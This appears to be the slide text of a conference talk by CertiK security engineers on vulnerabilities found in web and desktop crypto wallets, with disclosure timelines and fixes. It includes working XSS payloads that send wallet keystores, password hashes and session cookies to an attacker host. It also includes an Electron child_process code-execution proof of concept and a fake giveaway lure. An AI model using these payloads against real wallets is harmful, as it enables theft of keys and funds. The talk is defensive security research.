Exploit Insecure Crypto Wallet

Peiyu Wang, Minzhi He
whoami

- Peiyu Wang(@wisp_fly), Minzhi He(@minzhi10)
- Security Engineer at CertiK
  - Internal security review
  - External pentest focus on wallet, explorer, exchange and Dapp
- Security research on different applications in the blockchain space
- Weekend bug bounty hunter
What is crypto wallet?

A crypto wallet is a device, program or a service which stores the private and/or public keys.

In addition to storing the keys, they also offer the functionality of encrypting and/or signing information.
Forms of crypto wallet

Software wallet

Web Apps(*), Desktop Apps(*),
Mobile Apps, Browser Extension

Hardware wallet

Ledger, Trezor, ect.
Core functionalities of crypto wallet

Account management
Create new account
Import account

Make Transactions
Send & Receive coins
Additional wallet functionalities

**Smart contract**
- Deploy and interact with smart contract

**Staking**
- Delegate coins to validators
- Claim reward

**Governance**
- Proposal
- Voting
“Fancy” features

- View news in a desktop wallet
- Add third party plugins in a desktop wallet
- Create a coins giveaway on Twitter in a web wallet
- Allow user to upload any type of files to the back-end server 😐
- Use webview to implement a “browser” in the desktop wallet 😳
Secret handling

Hosted wallet - 3 out of 45
- *The server manages private keys*
- Session token/JWT token
  - Cookies
  - Local Storage/Session Storage

Decentralized wallet - 42 out of 45
- *The user manages private keys*
- Keystore, private key, password
  - Local Storage/Session Storage
  - JavaScript Variables
Our collection

27 Web wallets

18 Desktop wallets
Web wallet
## OWASP Top 10 in 27 web wallets

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-site scripting</td>
<td>3</td>
</tr>
<tr>
<td>Injection</td>
<td>1 (Sql injection)</td>
</tr>
<tr>
<td>Broken authentication/authorization</td>
<td>1</td>
</tr>
<tr>
<td>Security misconfiguration</td>
<td>Many</td>
</tr>
<tr>
<td>Using components with known vulnerabilities</td>
<td>A few</td>
</tr>
<tr>
<td>Cross-site request forgery</td>
<td>0</td>
</tr>
<tr>
<td>Sensitive data exposure</td>
<td>0</td>
</tr>
<tr>
<td>XML external entity</td>
<td>0</td>
</tr>
<tr>
<td>Insecure deserialization</td>
<td>0</td>
</tr>
<tr>
<td>Insufficient logging &amp; monitoring</td>
<td>Unsure</td>
</tr>
</tbody>
</table>
#1 DOM XSS in decentralized web wallet

**Background**

- Support single protocol
- Functionalities including:
  - Creating and importing account
  - Sending and receiving coins
  - Staking and claiming reward
  - Deploying and interacting with smart contracts
Vulnerable feature

Background
The application saves the last visit location, it redirects user to that page after user unlock his wallet with the password

Redirect to the validators page:
https://wallet.redacted.com/?returnTo=/validators

The implementation

```javascript
const {returnTo} = queryString.parse(window.location.search);
window.location.href = returnTo || '/portfolio';
```
DOM XSS

Source

Source is the location where untrusted data (the user input) is taken by the application and passed on to the sink.

User visit: https://wallet.redacted.com/?returnTo=/validators

1. `window.location.search` return "?returnTo=/validators"
2. `{returnTo} = queryString.parse("?returnTo=/validators")`;
3. `{returnTo} = {"returnTo": "/validators"}`
4. `returnTo = "/validators"`
DOM XSS (cont)

Sink

Sinks are the places where untrusted data coming from the sources is actually getting executed resulting in DOM XSS.

```javascript
window.location.href = returnTo || "/portfolio";
```

https://wallet.redacted.com/?returnTo=/validators

```javascript
window.location.href = "/validators"
```

https://wallet.redacted.com/?returnTo=javascript:alert(1)

```javascript
window.location.href = "javascript:alert(1)"
```
Keystore and password

<table>
<thead>
<tr>
<th>Key</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>lang</td>
<td>en</td>
</tr>
<tr>
<td>keystore</td>
<td>&quot;{&quot;value&quot;:{&quot;updatedAt&quot;:&quot;Mon, 03 Aug 202...}}</td>
</tr>
<tr>
<td>hashed.account.password</td>
<td>99bb1ba8696c7108223e0681a06a7290...</td>
</tr>
</tbody>
</table>
LocalStorage read with JavaScript

```javascript
localStorage.getItem("Hello")

"World"
```
Exploit the DOM XSS

Steal keystore and password in localstorage

https://wallet.redacted.com/?returnTo=javascript:fetch('https://myhost/data=\'+localStorage.getItem(keystore')+localStorage.getItem(hashed.account.password'))

```
52.119.83.16 - - [12/May/2020:19:45:51 +0000] "GET /data=%7B%22name%22:%22Account%22,%22address%22:%22"32a72a902c0c548ba64373444f48a2b0b9ea8cd8eaf5bc1f256f1x0855goe1zhAafSUGtCqAMrJfK9YqoIAy7QyVXzHHigeelzYNKUWNBACq77K0+zz3A0d+ssltyKwwBm0Ceh0vdpou2vBfC4LzbKUImx251vtfxfqG8chVtSqaSV5FLfwXman5SG8/L+ioBmiScYqrQy9Eq61gi0dNCX0cDoJULRZJNB+4UK+pIKwli6DLv44ESEQPMu01q0Ou9ClqIaqRESv0vha3KpgAjy7420WsMqdli2z0dsdfXDn/EG20DH0Ztk6oUYyuu+ms/q9Lfhw9Pm9NZnEq9Y0FRC=\%22%7D1111111111"
HTTP/1.1 404 3945 "https://www.wiswpwisp.com/data=%27%2BLocalStorage.getItem(%27wallet.keystore%27)%2BBsessionStorage.getItem(%27wallet.password%27))" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
Waiting for data... (interrupt to abort)```
Fix

Always redirect to the “portfolio” page

```javascript
window.location.href = returnTo || "/portfolio";
```

```javascript
window.location.href = "/portfolio";
```
#2 Reflected XSS in hosted web wallet

**Background**

- Hosted web wallet, the server manage all your private key
- Login with Email, and one-time-passcode receive in the email
- Support 16 different coins
- Send/receive, swap, staking, transaction history, twitter giveaway
API handling

The API format
https://redactedwallet.xyz/api/{endpoint}

Get transaction data
https://redactedwallet.xyz/api/apiUser/cloudTrans

Visit a non-existing endpoint
https://redactedwallet.xyz/api/test

{"success":false,"data":{"errCode":0},"message":"无法解析请求 "test"。"}

In english "message": "Failed to resolve the request "test"."
alert(document.domain)

https://redactedwallet.xyz/api/<svg+onload=alert(document.domain)>
## Cookies 🍪

Session token in “PHPSESSID” cookie

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>Domain</th>
<th>P.</th>
<th>Expire…</th>
<th>Size</th>
<th>HttpOnly</th>
</tr>
</thead>
<tbody>
<tr>
<td>userLanguage</td>
<td>en</td>
<td>wallet.xyz</td>
<td>/</td>
<td>2020-0…</td>
<td>14</td>
<td></td>
</tr>
<tr>
<td>uuiD</td>
<td>bWQxNTkw…</td>
<td>wallet.xyz</td>
<td>/</td>
<td>2021-0…</td>
<td>76</td>
<td></td>
</tr>
<tr>
<td>PHPSESSID</td>
<td>jakodtpuf3d3r…</td>
<td>wallet.xyz</td>
<td>/</td>
<td>Session</td>
<td>35</td>
<td></td>
</tr>
</tbody>
</table>
Cookies 🍪

No **HttpOnly** flag

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>Domain</th>
<th>P.</th>
<th>Expire...</th>
<th>Size</th>
<th>HttpOnly</th>
</tr>
</thead>
<tbody>
<tr>
<td>userLanguage</td>
<td>en</td>
<td>wallet.xyz</td>
<td>/</td>
<td>2020-0...</td>
<td>14</td>
<td></td>
</tr>
<tr>
<td>uulD</td>
<td>bWQxNTkw...</td>
<td>wallet.xyz</td>
<td>/</td>
<td>2021-0...</td>
<td>76</td>
<td></td>
</tr>
<tr>
<td>PHPSESSID</td>
<td>jakodtpuf3d3r...</td>
<td>wallet.xyz</td>
<td>/</td>
<td>Session</td>
<td>35</td>
<td></td>
</tr>
</tbody>
</table>

**HttpOnly ✔️**

- Stop JavaScript from accessing the Cookie
- Prevent the attacker from stealing the session token in the Cookie with the cross-site scripting attack
XSS to session takeover

Url to steal the session token

https://redactedwallet.xyz/api/<svg onload=fetch('https://&x2f;&#x2f;myhost&#x2f;&#x2f;cookie='.concat(document.cookie))>

1. Read the Cookie value
2. Send the Cookie value to my web server

Access log
Session takeover to steal money

Time to take all the money! 💸💸💸

Oh wait, I can’t!

Two-Factor Authentication

Please enter your Google Authenticator 2FA token.

2FA Token

Authenticate
keep digging...

just keep digging.
2FA bypass

This feature doesn’t require 2FA!
Timeline

1. May 28. Report the issue to company via email
2. May 28. ACK from the company
3. June 10. Ask for update, no response
4. July 15. Ask for update again
5. July 16. Response the issue is fixed, and reward me 20$ 
bounty(They don’t have a formal bug bounty program)

Fix

- HTML encode the output, no more XSS
- Set “HttpOnly” flag for the “PHPSESSID” Cookie which contains the session token
Desktop wallet

Tech stack people use to build the desktop wallets:

<table>
<thead>
<tr>
<th>Tech Stack</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>QT(C++)</td>
<td>1</td>
</tr>
<tr>
<td>Dot Net(C#)</td>
<td>1</td>
</tr>
<tr>
<td>Java</td>
<td>1</td>
</tr>
<tr>
<td>Electron(JS/html/css)</td>
<td>15</td>
</tr>
</tbody>
</table>
Case study

- #1. Server side RCE in the Dot Net desktop wallet
- #2. Client side RCE in the Electron wallet
#1 Server-side RCE in the .Net desktop wallet

**Background**

- Decentralized single protocol wallet
- Written in Dot Net (C#), run on Windows
- Account management, make transactions, deploy/interact with smart contract, **file upload**
- No code obfuscation
  - Decompile the executable to recover source code
Static analysis

UploadFile

```csharp
private bool UploadFile(string filePath)
{
    bool flag;
    try
    {
        byte[] response_binary = (new WebClient()).UploadFile("http://fUpload/upload.php","POST",filePath);
        string response = Encoding.UTF8.GetString(response_binary);
        string url = (string)JsonConvert.DeserializeObject(response)[0];
        string compare_url = "http://fUpload/";
        this.uploadURL = url;
        flag = url.substring(0,compare_url.length) == compare_url;
    }
    catch (Exception exception)
    {
        flag = false;
    }
    return flag;
}
```
File upload to remote code execution

Webshell

```
win-fbhf438i6es\administrator
```

Impact

- Full control over this server
- Manipulate files uploaded by other user
- Cannot directly compromise user account 😞
Fix

- The feature later removed in the application
What is Electron, why Electron?

Electron is an open-source software framework enabling developers to build cross-platform desktop application with web technologies such as HTML, CSS, and Javascript. Electron combines the Chromium rendering engine and Node.js into a single runtime.

Benefits

- Reuse web application code
- Easy debugging with chrome devtool
- Run on major OS
- Build app with more feature with node.js modules
Electron security

For most vulnerabilities exist in a web app, you can find them in the Electron app.

Electron official security guidance

Security, Native Capabilities, and Your Responsibility

Blackhat USA 2017

A STUDY OF ELECTRON SECURITY From “Doyensec”
“nodeIntegration”

**Definition**
Electron node integration refers to the ability of accessing **Node.js** resources in the application.

**Cite from Electron official security doc**
"Disabling Node.js integration helps prevent an XSS from being escalated into a so-called "Remote Code Execution" (RCE) attack."
nodeIntegration: false

Node.js disabled

The latest version of the MyCrypto desktop wallet
nodeIntegration: true

Node.js enabled

The early version of the MyCrypto desktop wallet
Self-XSS

In a self-XSS attack, the victim of the attack unknowingly runs malicious code in their own web browser.

Hold Up!

If someone told you to copy/paste something here you have an 11/10 chance you’re being scammed.

Pasting anything in here could give attackers access to your Discord account.

Unless you understand exactly what you are doing, close this window and stay safe.
From self-xss to calculator

1. Open the dev console in the Electron application on macOS option+command+i

2. Copy and paste the following in the console

```javascript
require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
From self-xss to calculator
From self-xss to calculator

Victim be like
I am not going to paste that “weird” thing into the dev console

How about
Paste this, it allows you to claim 1 BTC

```javascript
window.location.href = "https://btcgiveaway.site"
```
From self-xss to calculator
Electron wallet statistics

We look at 15 Electron desktop wallets in actively development

11/15 have Node.js enabled
   ● nodeintegration: true
   ● Electron version less than 5.0.0(2019-04-24)

5/15 have Node.js enabled and have console enabled
   ● Self-xss escalated to client side code execution

1/15 can trigger the code execution directly
#2 🍀 Desktop wallet client-side RCE

**Background**

- **Open source** decentralized single coin wallet
- Vue, Electron
- Functionalities:
  - Create/import account
  - Send/receive coins
  - View news
- **Bug bounty program** on HackerOne
Electron configuration

**build.js**

```javascript
....code...
if (process.platform === 'darwin') {
    app.on('ready', createMac)
} else {
    app.on('ready', createWindow)
}

....code...
```
Electron configuration (cont)

createWindow()

```javascript
...code...
function createWindow() {
    const windowOptions = {
        minWidth: width,
        minHeight: height,
        width: width,
        height: height,
        title: app.getName(),
        titleBarStyle: 'hiddenInset',
        webPreferences: {
            nodeIntegration: true,
        },
        resizable: true,
    }
    ...code...
    mainWindow = new BrowserWindow(windowOptions)
}
```
Ways to inject JavaScript

- Self-XSS?

  Out of scope vulnerabilities
  - Self XSS

- Legitimate XSS?
  Can’t find one 😞

- Load remote content?
  Maybe? 😞
Let’s read some news
The exploitation plan

1. Host a webpage with malicious Javascript
2. Place the URL that point to the malicious page on Github
   a. Open a Github issue
   b. README
   c. Personal website on Github profile
3. Visit that URL in the desktop application
Proof of Concept

Host the following code on my web server

```html
<!DOCTYPE html>

<h1>click me</h1>
<button type="button" onClick="rce_calc()">Submit</button>
<script>
  function rce_calc(){
    const { exec } = require('child_process');
    exec('calc');
  }
</script>
```
Symbol

News:

NEP Studios Community Updates

Join the discussion about the NEP Studios community events on the NEPInsider channel where we share highlights for each of our upcoming events.

Software updates:
- Luminosity has been published to the NEPInsider channel.
- Implemented software to enable the NEPInsider community to access.

Luminosity: Let's share your learnings! A new software has been released for access by NEPInsider community members.

NEP Foundation Technology Department Update - November 2019

- NEP Foundation is now using a new software to improve its operations.
- NEP Foundation is now using a new software to improve its operations.

Catapult Board Update #1

- NEP Foundation is now using a new software to improve its operations.
- NEP Foundation is now using a new software to improve its operations.
Timeline

1. Submitted the report on HackerOne
2. Triage and 2500$ bounty
3. Fixed in the next release

Fix:

- Set “nodeIntegration: false,” in the build.js file
- Update the view news feature. Open links in external browser instead of inside the desktop wallet.
Take away

- Attacker can compromise victim’s wallet account, or even the computer, by exploiting the vulnerability in the crypto wallet
- Understand the security aspect of the technology you are dealing with
- Follow coding security best practice
- Security audit
  - Internal security team
  - Hire security professional for a security review
Questions and comments

✉️ Email: peiyu.wang@certik.io, minzhi.he@certik.io

🐦 Twitter: Peiyu Wang(@wisp_fly), Minzhi He(@minzhi10)
  ● Slide for the talk will be posted on my @wisp_fly account.

🌐 CertiK: https://certik.io
Our blog: https://certik.io/blog/
Twitter: @certik_io
Thank You!
References

- https://www.electronjs.org/docs/tutorial/security
- https://blog.0daylabs.com/2019/02/24/learning-DomXSS-with-DomGoat/
- https://hackerone.com/symbol